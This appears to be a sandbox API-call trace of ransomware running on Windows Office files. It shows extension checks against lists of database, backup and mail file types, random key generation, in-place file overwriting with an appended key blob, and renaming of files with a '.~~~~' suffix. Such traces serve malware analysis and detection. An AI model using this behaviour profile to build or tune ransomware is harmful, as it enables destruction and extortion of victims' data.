	[0145.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0145.025] lstrlenW (lpString=".fdb") returned 4
	[0145.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0145.025] lstrlenW (lpString=".bak") returned 4
	[0145.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0145.025] lstrlenW (lpString=".myd") returned 4
	[0145.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0145.025] lstrlenW (lpString=".DTXS") returned 5
	[0145.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0145.025] lstrlenW (lpString=".ckp") returned 4
	[0145.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0145.025] lstrlenW (lpString=".dbt") returned 4
	[0145.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0145.025] lstrlenW (lpString=".db") returned 3
	[0145.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".db") returned 0x0
	[0145.025] lstrlenW (lpString=".TXT") returned 4
	[0145.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0145.025] lstrlenW (lpString=".MDF") returned 4
	[0145.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0145.025] lstrlenW (lpString=".bdb") returned 4
	[0145.025] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0145.026] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0145.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.026] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0145.027] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.027] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0145.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0145.027] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26501760487) returned 1
	[0145.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbfda2a50, dwHighDateTime=0x1d60e1e)) 
	[0145.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0145.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0145.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0145.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f9e8
	[0145.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f9e8 | out: hHeap=0x300000) returned 1
	[0145.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d00c0
	[0145.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37efa0
	[0145.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d00c0 | out: hHeap=0x300000) returned 1
	[0145.028] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0145.029] GetLastError () returned 0x0
	[0145.029] GetLastError () returned 0x0
	[0145.029] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0145.029] GetLastError () returned 0x0
	[0145.029] GetLastError () returned 0x0
	[0145.029] ReadFile (in: hFile=0x114, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0145.031] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.031] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x72, lpOverlapped=0x0) returned 1
	[0145.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.031] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.031] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.031] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.031] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.032] CloseHandle (hObject=0x114) returned 1
	[0145.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39ae80
	[0145.032] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk.~~~~")) returned 1
	[0145.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ae80 | out: hHeap=0x300000) returned 1
	[0145.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0145.035] GetLastError () returned 0x0
	[0145.035] RtlWakeConditionVariable () returned 0x365f70
	[0145.035] GetCurrentThreadId () returned 0x9cc
	[0145.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0145.035] lstrlenW (lpString=".cmd") returned 4
	[0145.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0145.035] lstrlenW (lpString=".dll") returned 4
	[0145.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0145.035] lstrlenW (lpString=".bat") returned 4
	[0145.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0145.035] lstrlenW (lpString=".cpl") returned 4
	[0145.035] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0145.035] lstrlenW (lpString=".sys") returned 4
	[0145.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0145.036] lstrlenW (lpString=".msc") returned 4
	[0145.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0145.036] lstrlenW (lpString=".com") returned 4
	[0145.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".com") returned 0x0
	[0145.036] lstrlenW (lpString=".lnk") returned 4
	[0145.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0145.036] lstrlenW (lpString=".msp") returned 4
	[0145.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0145.036] lstrlenW (lpString=".pif") returned 4
	[0145.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0145.036] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.036] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0145.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0145.038] lstrlenW (lpString=".sqb") returned 4
	[0145.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0145.038] lstrlenW (lpString=".ost") returned 4
	[0145.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0145.038] lstrlenW (lpString=".txt") returned 4
	[0145.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0145.038] lstrlenW (lpString=".mdt") returned 4
	[0145.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0145.038] lstrlenW (lpString=".BDB") returned 4
	[0145.038] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0145.039] lstrlenW (lpString=".eql") returned 4
	[0145.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0145.039] lstrlenW (lpString=".DBF") returned 4
	[0145.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0145.039] lstrlenW (lpString=".EQL") returned 4
	[0145.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0145.039] lstrlenW (lpString=".FDB") returned 4
	[0145.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0145.039] lstrlenW (lpString=".EDB") returned 4
	[0145.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0145.039] lstrlenW (lpString=".DACPAC") returned 7
	[0145.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0145.039] lstrlenW (lpString=".VHD") returned 4
	[0145.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0145.039] lstrlenW (lpString=".DBV") returned 4
	[0145.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0145.039] lstrlenW (lpString=".dacpac") returned 7
	[0145.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0145.039] lstrlenW (lpString=".sdf") returned 4
	[0145.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0145.039] lstrlenW (lpString=".accdb") returned 6
	[0145.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0145.039] lstrlenW (lpString=".DBX") returned 4
	[0145.039] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0145.040] lstrlenW (lpString=".MDT") returned 4
	[0145.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0145.040] lstrlenW (lpString=".SQB") returned 4
	[0145.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0145.040] lstrlenW (lpString=".vhd") returned 4
	[0145.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0145.040] lstrlenW (lpString=".bac") returned 4
	[0145.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0145.040] lstrlenW (lpString=".mdf") returned 4
	[0145.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0145.040] lstrlenW (lpString=".BAK") returned 4
	[0145.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0145.040] lstrlenW (lpString=".BAC") returned 4
	[0145.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0145.040] lstrlenW (lpString=".dbs") returned 4
	[0145.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0145.040] lstrlenW (lpString=".vhdx") returned 5
	[0145.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0145.040] lstrlenW (lpString=".NDF") returned 4
	[0145.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0145.040] lstrlenW (lpString=".dat") returned 4
	[0145.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0145.040] lstrlenW (lpString=".DBS") returned 4
	[0145.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0145.040] lstrlenW (lpString=".CKP") returned 4
	[0145.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0145.041] lstrlenW (lpString=".edb") returned 4
	[0145.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0145.041] lstrlenW (lpString=".PST") returned 4
	[0145.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0145.041] lstrlenW (lpString=".dbf") returned 4
	[0145.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0145.041] lstrlenW (lpString=".SQL") returned 4
	[0145.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0145.041] lstrlenW (lpString=".pst") returned 4
	[0145.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0145.041] lstrlenW (lpString=".dbv") returned 4
	[0145.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0145.041] lstrlenW (lpString=".SDF") returned 4
	[0145.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0145.041] lstrlenW (lpString=".dtxs") returned 5
	[0145.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0145.041] lstrlenW (lpString=".db3") returned 4
	[0145.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0145.041] lstrlenW (lpString=".OST") returned 4
	[0145.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0145.041] lstrlenW (lpString=".dbx") returned 4
	[0145.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0145.101] lstrlenW (lpString=".DB3") returned 4
	[0145.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0145.101] lstrlenW (lpString=".DAT") returned 4
	[0145.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0145.101] lstrlenW (lpString=".VHDX") returned 5
	[0145.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0145.101] lstrlenW (lpString=".ndf") returned 4
	[0145.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0145.101] lstrlenW (lpString=".DB") returned 3
	[0145.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0145.101] lstrlenW (lpString=".sql") returned 4
	[0145.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0145.101] lstrlenW (lpString=".MYD") returned 4
	[0145.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0145.101] lstrlenW (lpString=".DBT") returned 4
	[0145.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0145.101] lstrlenW (lpString=".ACCDB") returned 6
	[0145.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0145.101] lstrlenW (lpString=".fdb") returned 4
	[0145.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0145.102] lstrlenW (lpString=".bak") returned 4
	[0145.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0145.102] lstrlenW (lpString=".myd") returned 4
	[0145.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0145.102] lstrlenW (lpString=".DTXS") returned 5
	[0145.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0145.102] lstrlenW (lpString=".ckp") returned 4
	[0145.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0145.102] lstrlenW (lpString=".dbt") returned 4
	[0145.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0145.102] lstrlenW (lpString=".db") returned 3
	[0145.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".db") returned 0x0
	[0145.102] lstrlenW (lpString=".TXT") returned 4
	[0145.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0145.102] lstrlenW (lpString=".MDF") returned 4
	[0145.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0145.102] lstrlenW (lpString=".bdb") returned 4
	[0145.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0145.102] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0145.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.102] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3956b8) returned 1
	[0145.137] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.137] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.137] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0145.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0145.137] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26512734562) returned 1
	[0145.137] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbfead3f0, dwHighDateTime=0x1d60e1e)) 
	[0145.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
